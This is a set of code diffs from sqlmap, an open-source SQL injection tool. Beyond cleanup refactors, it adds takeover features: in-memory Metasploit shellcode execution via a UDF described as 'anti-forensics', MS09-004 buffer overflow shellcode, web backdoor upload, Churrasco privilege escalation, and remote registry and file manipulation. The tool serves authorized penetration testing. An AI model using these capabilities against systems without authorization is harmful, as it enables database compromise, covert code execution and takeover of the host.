self.createSupportTbl(self.cmdTblName, self.tblField, "text")
|
||||
|
||||
|
||||
def uncPathRequest(self):
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.agent import agent
|
||||
@@ -49,7 +47,6 @@ from lib.request import inject
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
||||
class Enumeration:
|
||||
"""
|
||||
This class defines generic enumeration functionalities for plugins.
|
||||
@@ -71,11 +68,9 @@ class Enumeration:
|
||||
|
||||
temp.inference = queries[dbms].inference
|
||||
|
||||
|
||||
def forceDbmsEnum(self):
|
||||
pass
|
||||
|
||||
|
||||
def getVersionFromBanner(self):
|
||||
if "dbmsVersion" in kb.bannerFp:
|
||||
return
|
||||
@@ -100,7 +95,6 @@ class Enumeration:
|
||||
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
|
||||
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
|
||||
|
||||
|
||||
def getBanner(self):
|
||||
if not conf.getBanner:
|
||||
return
|
||||
@@ -131,7 +125,6 @@ class Enumeration:
|
||||
|
||||
return kb.data.banner
|
||||
|
||||
|
||||
def getCurrentUser(self):
|
||||
infoMsg = "fetching current user"
|
||||
logger.info(infoMsg)
|
||||
@@ -143,7 +136,6 @@ class Enumeration:
|
||||
|
||||
return kb.data.currentUser
|
||||
|
||||
|
||||
def getCurrentDb(self):
|
||||
infoMsg = "fetching current database"
|
||||
logger.info(infoMsg)
|
||||
@@ -155,7 +147,6 @@ class Enumeration:
|
||||
|
||||
return kb.data.currentDb
|
||||
|
||||
|
||||
def isDba(self):
|
||||
infoMsg = "testing if current user is DBA"
|
||||
logger.info(infoMsg)
|
||||
@@ -166,7 +157,6 @@ class Enumeration:
|
||||
|
||||
return kb.data.isDba == "1"
|
||||
|
||||
|
||||
def getUsers(self):
|
||||
infoMsg = "fetching database users"
|
||||
logger.info(infoMsg)
|
||||
@@ -218,7 +208,6 @@ class Enumeration:
|
||||
|
||||
return kb.data.cachedUsers
|
||||
|
||||
|
||||
def getPasswordHashes(self):
|
||||
infoMsg = "fetching database users password hashes"
|
||||
|
||||
@@ -340,7 +329,6 @@ class Enumeration:
|
||||
|
||||
return kb.data.cachedUsersPasswords
|
||||
|
||||
|
||||
def __isAdminFromPrivileges(self, privileges):
|
||||
# In PostgreSQL the usesuper privilege means that the
|
||||
# user is DBA
|
||||
@@ -360,7 +348,6 @@ class Enumeration:
|
||||
|
||||
return dbaCondition
|
||||
|
||||
|
||||
def getPrivileges(self):
|
||||
infoMsg = "fetching database users privileges"
|
||||
|
||||
@@ -627,7 +614,6 @@ class Enumeration:
|
||||
|
||||
return ( kb.data.cachedUsersPrivileges, areAdmins )
|
||||
|
||||
|
||||
def getDbs(self):
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
warnMsg = "information_schema not available, "
|
||||
@@ -682,7 +668,6 @@ class Enumeration:
|
||||
|
||||
return kb.data.cachedDbs
|
||||
|
||||
|
||||
def getTables(self):
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
errMsg = "information_schema not available, "
|
||||
@@ -777,7 +762,6 @@ class Enumeration:
|
||||
|
||||
return kb.data.cachedTables
|
||||
|
||||
|
||||
def getColumns(self, onlyColNames=False):
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
errMsg = "information_schema not available, "
|
||||
@@ -897,7 +881,6 @@ class Enumeration:
|
||||
|
||||
return kb.data.cachedColumns
|
||||
|
||||
|
||||
def dumpTable(self):
|
||||
if not conf.tbl:
|
||||
errMsg = "missing table parameter"
|
||||
@@ -1067,7 +1050,6 @@ class Enumeration:
|
||||
|
||||
return kb.data.dumpedTable
|
||||
|
||||
|
||||
def dumpAll(self):
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
errMsg = "information_schema not available, "
|
||||
@@ -1093,7 +1075,6 @@ class Enumeration:
|
||||
if data:
|
||||
dumper.dbTableValues(data)
|
||||
|
||||
|
||||
def sqlQuery(self, query):
|
||||
output = None
|
||||
sqlType = None
|
||||
@@ -1119,10 +1100,10 @@ class Enumeration:
|
||||
else:
|
||||
query = urlencode(query, convall=True)
|
||||
|
||||
if kb.stackedTest == None:
|
||||
if kb.stackedTest is None:
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
if not kb.stackedTest:
|
||||
return None
|
||||
else:
|
||||
if sqlType:
|
||||
@@ -1140,7 +1121,6 @@ class Enumeration:
|
||||
|
||||
return output
|
||||
|
||||
|
||||
def sqlShell(self):
|
||||
infoMsg = "calling %s shell. To quit type " % kb.dbms
|
||||
infoMsg += "'x' or 'q' and press ENTER"
|
||||
@@ -1174,7 +1154,7 @@ class Enumeration:
|
||||
if output and output != "Quit":
|
||||
dumper.string(query, output)
|
||||
|
||||
elif output == False:
|
||||
elif not output:
|
||||
pass
|
||||
|
||||
elif output != "Quit":
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import binascii
|
||||
import os
|
||||
|
||||
@@ -46,13 +44,11 @@ class Filesystem:
|
||||
self.fileTblName = "sqlmapfile"
|
||||
self.tblField = "data"
|
||||
|
||||
|
||||
def __unbase64String(self, base64Str):
|
||||
unbase64Str = "%s\n" % base64Str.decode("base64")
|
||||
|
||||
return unbase64Str
|
||||
|
||||
|
||||
def __unhexString(self, hexStr):
|
||||
if len(hexStr) % 2 != 0:
|
||||
errMsg = "for some reasons sqlmap retrieved an odd-length "
|
||||
@@ -64,7 +60,6 @@ class Filesystem:
|
||||
|
||||
return binascii.unhexlify(hexStr)
|
||||
|
||||
|
||||
def __binDataToScr(self, binaryData, chunkName):
|
||||
"""
|
||||
Called by Microsoft SQL Server plugin to write a binary file on the
|
||||
@@ -101,7 +96,6 @@ class Filesystem:
|
||||
|
||||
return fileLines
|
||||
|
||||
|
||||
def __checkWrittenFile(self, wFile, dFile, fileType):
|
||||
if kb.dbms == "MySQL":
|
||||
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
|
||||
@@ -141,7 +135,6 @@ class Filesystem:
|
||||
warnMsg += "privileges in the destination path"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
|
||||
def fileToSqlQueries(self, fcEncodedList):
|
||||
"""
|
||||
Called by MySQL and PostgreSQL plugins to write a file on the
|
||||
@@ -162,7 +155,6 @@ class Filesystem:
|
||||
|
||||
return sqlQueries
|
||||
|
||||
|
||||
def fileEncode(self, fileName, encoding, single):
|
||||
"""
|
||||
Called by MySQL and PostgreSQL plugins to write a file on the
|
||||
@@ -173,7 +165,7 @@ class Filesystem:
|
||||
fp = open(fileName, "rb")
|
||||
fcEncodedStr = fp.read().encode(encoding).replace("\n", "")
|
||||
|
||||
if single == False:
|
||||
if not single:
|
||||
fcLength = len(fcEncodedStr)
|
||||
|
||||
if fcLength > 1024:
|
||||
@@ -200,7 +192,6 @@ class Filesystem:
|
||||
|
||||
return fcEncodedList
|
||||
|
||||
|
||||
def updateBinChunk(self, binaryData, tmpPath):
|
||||
"""
|
||||
Called by Microsoft SQL Server plugin to write a binary file on the
|
||||
@@ -250,7 +241,6 @@ class Filesystem:
|
||||
|
||||
return chunkName
|
||||
|
||||
|
||||
def askCheckWrittenFile(self, wFile, dFile, fileType):
|
||||
message = "do you want confirmation that the file '%s' " % dFile
|
||||
message += "has been successfully written on the back-end DBMS "
|
||||
@@ -260,7 +250,6 @@ class Filesystem:
|
||||
if not output or output in ("y", "Y"):
|
||||
self.__checkWrittenFile(wFile, dFile, fileType)
|
||||
|
||||
|
||||
def readFile(self, rFile):
|
||||
fileContent = None
|
||||
|
||||
@@ -268,7 +257,7 @@ class Filesystem:
|
||||
|
||||
self.checkDbmsOs()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
if not kb.stackedTest:
|
||||
debugMsg = "going to read the file with UNION query SQL "
|
||||
debugMsg += "injection technique"
|
||||
logger.debug(debugMsg)
|
||||
@@ -308,13 +297,12 @@ class Filesystem:
|
||||
|
||||
return rFilePath
|
||||
|
||||
|
||||
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
|
||||
stackedTest()
|
||||
|
||||
self.checkDbmsOs()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
if not kb.stackedTest:
|
||||
debugMsg = "going to upload the %s file with " % fileType
|
||||
debugMsg += "UNION query SQL injection technique"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
@@ -22,11 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.exception import sqlmapUndefinedMethod
|
||||
|
||||
|
||||
class Fingerprint:
|
||||
"""
|
||||
This class defines generic fingerprint functionalities for plugins.
|
||||
@@ -38,20 +35,17 @@ class Fingerprint:
|
||||
errMsg += "into the specific DBMS plugin"
|
||||
raise sqlmapUndefinedMethod, errMsg
|
||||
|
||||
|
||||
@staticmethod
|
||||
def escape(expression):
|
||||
errMsg = "'escape' method must be defined "
|
||||
errMsg += "into the specific DBMS plugin"
|
||||
raise sqlmapUndefinedMethod, errMsg
|
||||
|
||||
|
||||
def getFingerprint(self):
|
||||
errMsg = "'getFingerprint' method must be defined "
|
||||
errMsg += "into the specific DBMS plugin"
|
||||
raise sqlmapUndefinedMethod, errMsg
|
||||
|
||||
|
||||
def checkDbms(self):
|
||||
errMsg = "'checkDbms' method must be defined "
|
||||
errMsg += "into the specific DBMS plugin"
|
||||
|
||||
@@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
import os
|
||||
import re
|
||||
|
||||
from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
@@ -46,12 +44,15 @@ class Miscellaneous:
|
||||
if kb.os == "Windows":
|
||||
# NOTES:
|
||||
#
|
||||
# * MySQL runs by default as SYSTEM and the system-wide
|
||||
# temporary files directory is C:\WINDOWS\Temp
|
||||
# * The system-wide temporary files directory is
|
||||
# C:\WINDOWS\Temp
|
||||
#
|
||||
# * MySQL runs by default as SYSTEM
|
||||
#
|
||||
# * PostgreSQL runs by default as postgres user and the
|
||||
# temporary files directory is C:\Documents and Settings\postgres\Local Settings\Temp,
|
||||
# however the system-wide folder is writable too
|
||||
# however the system-wide folder is writable too
|
||||
#
|
||||
#infoMsg = "retrieving remote absolute path of temporary files "
|
||||
#infoMsg += "directory"
|
||||
#logger.info(infoMsg)
|
||||
@@ -69,20 +70,33 @@ class Miscellaneous:
|
||||
|
||||
setRemoteTempPath()
|
||||
|
||||
def delRemoteFile(self, tempFile, doubleslash=False):
|
||||
self.checkDbmsOs()
|
||||
|
||||
if kb.os == "Windows":
|
||||
if doubleslash:
|
||||
tempFile = tempFile.replace("/", "\\\\")
|
||||
else:
|
||||
tempFile = tempFile.replace("/", "\\")
|
||||
|
||||
cmd = "del /F /Q %s" % tempFile
|
||||
else:
|
||||
cmd = "rm -f %s" % tempFile
|
||||
|
||||
self.execCmd(cmd, forgeCmd=True)
|
||||
|
||||
def createSupportTbl(self, tblName, tblField, tblType):
|
||||
inject.goStacked("DROP TABLE %s" % tblName)
|
||||
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
|
||||
|
||||
|
||||
def cleanup(self, onlyFileTbl=False):
|
||||
def cleanup(self, onlyFileTbl=False, udfDict=None):
|
||||
"""
|
||||
Cleanup database from sqlmap create tables and functions
|
||||
"""
|
||||
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
if not kb.stackedTest:
|
||||
return
|
||||
|
||||
if kb.os == "Windows":
|
||||
@@ -94,7 +108,7 @@ class Miscellaneous:
|
||||
else:
|
||||
libtype = "shared library"
|
||||
|
||||
if onlyFileTbl == True:
|
||||
if onlyFileTbl:
|
||||
logger.debug("cleaning up the database management system")
|
||||
else:
|
||||
logger.info("cleaning up the database management system")
|
||||
@@ -102,23 +116,27 @@ class Miscellaneous:
|
||||
logger.debug("removing support tables")
|
||||
inject.goStacked("DROP TABLE %s" % self.fileTblName)
|
||||
|
||||
if onlyFileTbl == False:
|
||||
if not onlyFileTbl:
|
||||
inject.goStacked("DROP TABLE %s" % self.cmdTblName)
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
return
|
||||
|
||||
for udf in ( "sys_exec", "sys_eval" ):
|
||||
message = "do you want to remove %s UDF? [Y/n] " % udf
|
||||
if udfDict is None:
|
||||
udfDict = self.sysUdfs
|
||||
|
||||
for udf, inpRet in udfDict.items():
|
||||
message = "do you want to remove UDF '%s'? [Y/n] " % udf
|
||||
output = readInput(message, default="Y")
|
||||
|
||||
if not output or output in ("y", "Y"):
|
||||
dropStr = "DROP FUNCTION %s" % udf
|
||||
|
||||
if kb.dbms == "PostgreSQL":
|
||||
dropStr += "(text)"
|
||||
inp = ", ".join(i for i in inpRet["input"])
|
||||
dropStr += "(%s)" % inp
|
||||
|
||||
logger.debug("removing %s UDF" % udf)
|
||||
logger.debug("removing UDF '%s'" % udf)
|
||||
inject.goStacked(dropStr)
|
||||
|
||||
logger.info("database management system cleanup finished")
|
||||
|
||||
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import re
|
||||
|
||||
@@ -42,13 +40,12 @@ from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
from lib.core.shell import autoCompletion
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.takeover.abstraction import Abstraction
|
||||
from lib.takeover.dep import DEP
|
||||
from lib.takeover.metasploit import Metasploit
|
||||
from lib.takeover.registry import Registry
|
||||
from lib.techniques.outband.stacked import stackedTest
|
||||
|
||||
|
||||
class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
class Takeover(Abstraction, Metasploit, Registry):
|
||||
"""
|
||||
This class defines generic OS takeover functionalities for plugins.
|
||||
"""
|
||||
@@ -59,8 +56,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
self.cmdFromChurrasco = False
|
||||
|
||||
Abstraction.__init__(self)
|
||||
DEP.__init__(self)
|
||||
|
||||
|
||||
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
|
||||
output = None
|
||||
@@ -79,7 +74,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
|
||||
return output
|
||||
|
||||
|
||||
def __webBackdoorShell(self, backdoorUrl):
|
||||
infoMsg = "calling OS shell. To quit type "
|
||||
infoMsg += "'x' or 'q' and press ENTER"
|
||||
@@ -110,7 +104,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
|
||||
self.__webBackdoorRunCmd(backdoorUrl, command)
|
||||
|
||||
|
||||
def __webBackdoorInit(self):
|
||||
"""
|
||||
This method is used to write a web backdoor (agent) on a writable
|
||||
@@ -140,23 +133,16 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
|
||||
if not choice or choice == "2":
|
||||
language = "php"
|
||||
|
||||
break
|
||||
|
||||
elif choice == "1":
|
||||
language = "asp"
|
||||
|
||||
break
|
||||
|
||||
elif choice == "3":
|
||||
# TODO: add also JSP backdoor/uploader support
|
||||
errMsg = "JSP web backdoor functionality is not yet "
|
||||
errMsg += "implemented"
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
|
||||
#language = "jsp"
|
||||
|
||||
#break
|
||||
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||
|
||||
elif not choice.isdigit():
|
||||
logger.warn("invalid value, only digits are allowed")
|
||||
@@ -165,9 +151,9 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
logger.warn("invalid value, it must be 1 or 3")
|
||||
|
||||
backdoorName = "backdoor.%s" % language
|
||||
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
|
||||
backdoorPath = os.path.join(paths.SQLMAP_SHELL_PATH, backdoorName)
|
||||
uploaderName = "uploader.%s" % language
|
||||
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
|
||||
uploaderStr = fileToStr(os.path.join(paths.SQLMAP_SHELL_PATH, uploaderName))
|
||||
|
||||
for directory in directories:
|
||||
# Upload the uploader agent
|
||||
@@ -183,7 +169,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
requestDir = os.path.normpath(directory.replace(kb.docRoot, "/").replace("\\", "/"))
|
||||
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
|
||||
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
|
||||
uploaderUrl = uploaderUrl.replace("./", "/")
|
||||
uploaderUrl = uploaderUrl.replace("./", "/").replace("\\", "/").replace("//", "/")
|
||||
uplPage, _ = Request.getPage(url=uploaderUrl, direct=True)
|
||||
|
||||
if "sqlmap backdoor uploader" not in uplPage:
|
||||
@@ -228,7 +214,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
continue
|
||||
|
||||
elif language == "jsp":
|
||||
# TODO: add also JSP backdoor/uploader support
|
||||
pass
|
||||
|
||||
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
|
||||
@@ -242,7 +227,6 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
|
||||
return backdoorUrl
|
||||
|
||||
|
||||
def uploadChurrasco(self):
|
||||
msg = "do you want sqlmap to upload Churrasco and call the "
|
||||
msg += "Metasploit payload stager as its argument so that it "
|
||||
@@ -251,26 +235,21 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
output = readInput(msg, default="Y")
|
||||
|
||||
if not output or output[0] in ( "y", "Y" ):
|
||||
# TODO: add also compiled/packed Churrasco for Windows 2008
|
||||
wFile = "%s/tokenkidnapping/Churrasco.exe" % paths.SQLMAP_CONTRIB_PATH
|
||||
wFile = os.path.join(paths.SQLMAP_CONTRIB_PATH, "tokenkidnapping", "Churrasco.exe")
|
||||
|
||||
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
|
||||
self.cmdFromChurrasco = True
|
||||
|
||||
# NOTE: no need to handle DEP for Churrasco executable because
|
||||
# it spawns a new process as the SYSTEM user token to execute
|
||||
# the executable passed as argument
|
||||
self.writeFile(wFile, self.churrascoPath, "binary", confirm=False)
|
||||
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
|
||||
def osCmd(self):
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
if not kb.stackedTest:
|
||||
infoMsg = "going to upload a web page backdoor for command "
|
||||
infoMsg += "execution"
|
||||
logger.info(infoMsg)
|
||||
@@ -283,11 +262,10 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
self.initEnv()
|
||||
self.runCmd(conf.osCmd)
|
||||
|
||||
|
||||
def osShell(self):
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
if not kb.stackedTest:
|
||||
infoMsg = "going to upload a web page backdoor for command "
|
||||
infoMsg += "execution"
|
||||
logger.info(infoMsg)
|
||||
@@ -300,37 +278,60 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
self.initEnv()
|
||||
self.absOsShell()
|
||||
|
||||
|
||||
def osPwn(self):
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
if not kb.stackedTest:
|
||||
return
|
||||
|
||||
self.initEnv()
|
||||
self.getRemoteTempPath()
|
||||
self.createMsfPayloadStager()
|
||||
self.uploadMsfPayloadStager()
|
||||
|
||||
if kb.os == "Windows":
|
||||
# NOTE: no need to add an exception to DEP for the payload
|
||||
# stager because it already sets the memory to +rwx before
|
||||
# copying the shellcode into that memory page
|
||||
#self.handleDep(self.exeFilePathRemote)
|
||||
goUdf = False
|
||||
|
||||
if conf.privEsc and kb.dbms == "MySQL":
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
msg = "how do you want to execute the Metasploit shellcode "
|
||||
msg += "on the back-end database underlying operating system?"
|
||||
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
|
||||
msg += "\n[2] Stand-alone payload stager (file system way)"
|
||||
|
||||
while True:
|
||||
choice = readInput(msg, default=1)
|
||||
|
||||
if isinstance(choice, str) and choice.isdigit() and int(choice) in ( 1, 2 ):
|
||||
choice = int(choice)
|
||||
break
|
||||
|
||||
elif isinstance(choice, int) and choice in ( 1, 2 ):
|
||||
break
|
||||
|
||||
else:
|
||||
warnMsg = "invalid value, valid values are 1 and 2"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if choice == 1:
|
||||
goUdf = True
|
||||
|
||||
if goUdf:
|
||||
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
|
||||
else:
|
||||
self.createMsfPayloadStager()
|
||||
self.uploadMsfPayloadStager()
|
||||
|
||||
if kb.os == "Windows" and conf.privEsc:
|
||||
if kb.dbms == "MySQL":
|
||||
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
||||
debugMsg += "user, no need to privilege escalate"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
elif conf.privEsc and kb.dbms == "PostgreSQL":
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
warnMsg = "by default PostgreSQL on Windows runs as postgres "
|
||||
warnMsg += "user which has no Windows Impersonation "
|
||||
warnMsg += "Tokens: it is unlikely that the privilege "
|
||||
warnMsg += "escalation will be successful"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
elif conf.privEsc and kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
||||
warnMsg += "runs as Network Service which has no Windows "
|
||||
warnMsg += "Impersonation Tokens within all threads, this "
|
||||
@@ -340,7 +341,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
|
||||
uploaded = self.uploadChurrasco()
|
||||
|
||||
if uploaded == False:
|
||||
if not uploaded:
|
||||
warnMsg = "beware that the privilege escalation "
|
||||
warnMsg += "might not work"
|
||||
logger.warn(warnMsg)
|
||||
@@ -350,8 +351,7 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
# system is not Windows
|
||||
conf.privEsc = False
|
||||
|
||||
self.pwn()
|
||||
|
||||
self.pwn(goUdf)
|
||||
|
||||
def osSmb(self):
|
||||
stackedTest()
|
||||
@@ -362,14 +362,14 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
errMsg = "the back-end DBMS underlying operating system is "
|
||||
errMsg += "not Windows: it is not possible to perform the SMB "
|
||||
errMsg += "relay attack"
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||
|
||||
if kb.stackedTest == False:
|
||||
if not kb.stackedTest:
|
||||
if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
|
||||
errMsg = "on this back-end DBMS it is only possible to "
|
||||
errMsg += "perform the SMB relay attack if stacked "
|
||||
errMsg += "queries are supported"
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||
|
||||
elif kb.dbms == "MySQL":
|
||||
debugMsg = "since stacked queries are not supported, "
|
||||
@@ -400,16 +400,15 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
else:
|
||||
printWarn = False
|
||||
|
||||
if printWarn == True:
|
||||
if printWarn:
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.smb()
|
||||
|
||||
|
||||
def osBof(self):
|
||||
stackedTest()
|
||||
|
||||
if kb.stackedTest == False:
|
||||
if not kb.stackedTest:
|
||||
return
|
||||
|
||||
if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
|
||||
@@ -417,18 +416,137 @@ class Takeover(Abstraction, DEP, Metasploit, Registry):
|
||||
errMsg += "2000 or 2005 to be able to exploit the heap-based "
|
||||
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
|
||||
errMsg += "stored procedure (MS09-004)"
|
||||
raise sqlmapUnsupportedDBMSException, errMsg
|
||||
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||
|
||||
infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0]
|
||||
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
|
||||
infoMsg += "buffer overflow (MS09-004)"
|
||||
logger.info(infoMsg)
|
||||
|
||||
# NOTE: only needed to handle DEP
|
||||
self.initEnv(mandatory=False, detailed=True)
|
||||
|
||||
self.getRemoteTempPath()
|
||||
self.createMsfShellcode()
|
||||
self.overflowBypassDEP()
|
||||
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
|
||||
self.bof()
|
||||
self.delException()
|
||||
|
||||
def __regInit(self):
|
||||
stackedTest()
|
||||
|
||||
if not kb.stackedTest:
|
||||
return
|
||||
|
||||
self.checkDbmsOs()
|
||||
|
||||
if kb.os != "Windows":
|
||||
errMsg = "the back-end DBMS underlying operating system is "
|
||||
errMsg += "not Windows"
|
||||
raise sqlmapUnsupportedDBMSException(errMsg)
|
||||
|
||||
self.initEnv()
|
||||
self.getRemoteTempPath()
|
||||
|
||||
def regRead(self):
|
||||
self.__regInit()
|
||||
|
||||
if not conf.regKey:
|
||||
default = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
|
||||
msg = "which registry key do you want to read? [%s] " % default
|
||||
regKey = readInput(msg, default=default)
|
||||
else:
|
||||
regKey = conf.regKey
|
||||
|
||||
if not conf.regVal:
|
||||
default = "ProductName"
|
||||
msg = "which registry key value do you want to read? [%s] " % default
|
||||
regVal = readInput(msg, default=default)
|
||||
else:
|
||||
regVal = conf.regVal
|
||||
|
||||
infoMsg = "reading Windows registry path '%s\%s' " % (regKey, regVal)
|
||||
logger.info(infoMsg)
|
||||
|
||||
return self.readRegKey(regKey, regVal, False)
|
||||
|
||||
def regAdd(self):
|
||||
self.__regInit()
|
||||
|
||||
errMsg = "missing mandatory option"
|
||||
|
||||
if not conf.regKey:
|
||||
msg = "which registry key do you want to write? "
|
||||
regKey = readInput(msg)
|
||||
|
||||
if not regKey:
|
||||
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||
else:
|
||||
regKey = conf.regKey
|
||||
|
||||
if not conf.regVal:
|
||||
msg = "which registry key value do you want to write? "
|
||||
regVal = readInput(msg)
|
||||
|
||||
if not regVal:
|
||||
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||
else:
|
||||
regVal = conf.regVal
|
||||
|
||||
if not conf.regData:
|
||||
msg = "which registry key value data do you want to write? "
|
||||
regData = readInput(msg)
|
||||
|
||||
if not regData:
|
||||
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||
else:
|
||||
regData = conf.regData
|
||||
|
||||
if not conf.regType:
|
||||
default = "REG_SZ"
|
||||
msg = "which registry key value data-type is it? "
|
||||
msg += "[%s] " % default
|
||||
regType = readInput(msg, default=default)
|
||||
else:
|
||||
regType = conf.regType
|
||||
|
||||
infoMsg = "adding Windows registry path '%s\%s' " % (regKey, regVal)
|
||||
infoMsg += "with data '%s'. " % regData
|
||||
infoMsg += "This will work only if the user running the database "
|
||||
infoMsg += "process has privileges to modify the Windows registry."
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.addRegKey(regKey, regVal, regType, regData)
|
||||
|
||||
def regDel(self):
|
||||
self.__regInit()
|
||||
|
||||
errMsg = "missing mandatory option"
|
||||
|
||||
if not conf.regKey:
|
||||
msg = "which registry key do you want to delete? "
|
||||
regKey = readInput(msg)
|
||||
|
||||
if not regKey:
|
||||
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||
else:
|
||||
regKey = conf.regKey
|
||||
|
||||
if not conf.regVal:
|
||||
msg = "which registry key value do you want to delete? "
|
||||
regVal = readInput(msg)
|
||||
|
||||
if not regVal:
|
||||
raise sqlmapMissingMandatoryOptionException(errMsg)
|
||||
else:
|
||||
regVal = conf.regVal
|
||||
|
||||
message = "are you sure that you want to delete the Windows "
|
||||
message += "registry path '%s\%s? [y/N] " % (regKey, regVal)
|
||||
output = readInput(message, default="N")
|
||||
|
||||
if output and output[0] not in ( "Y", "y" ):
|
||||
return
|
||||
|
||||
infoMsg = "deleting Windows registry path '%s\%s'" % (regKey, regVal)
|
||||
infoMsg += "This will work only if the user running the database "
|
||||
infoMsg += "process has privileges to modify the Windows registry."
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.delRegKey(regKey, regVal)
|
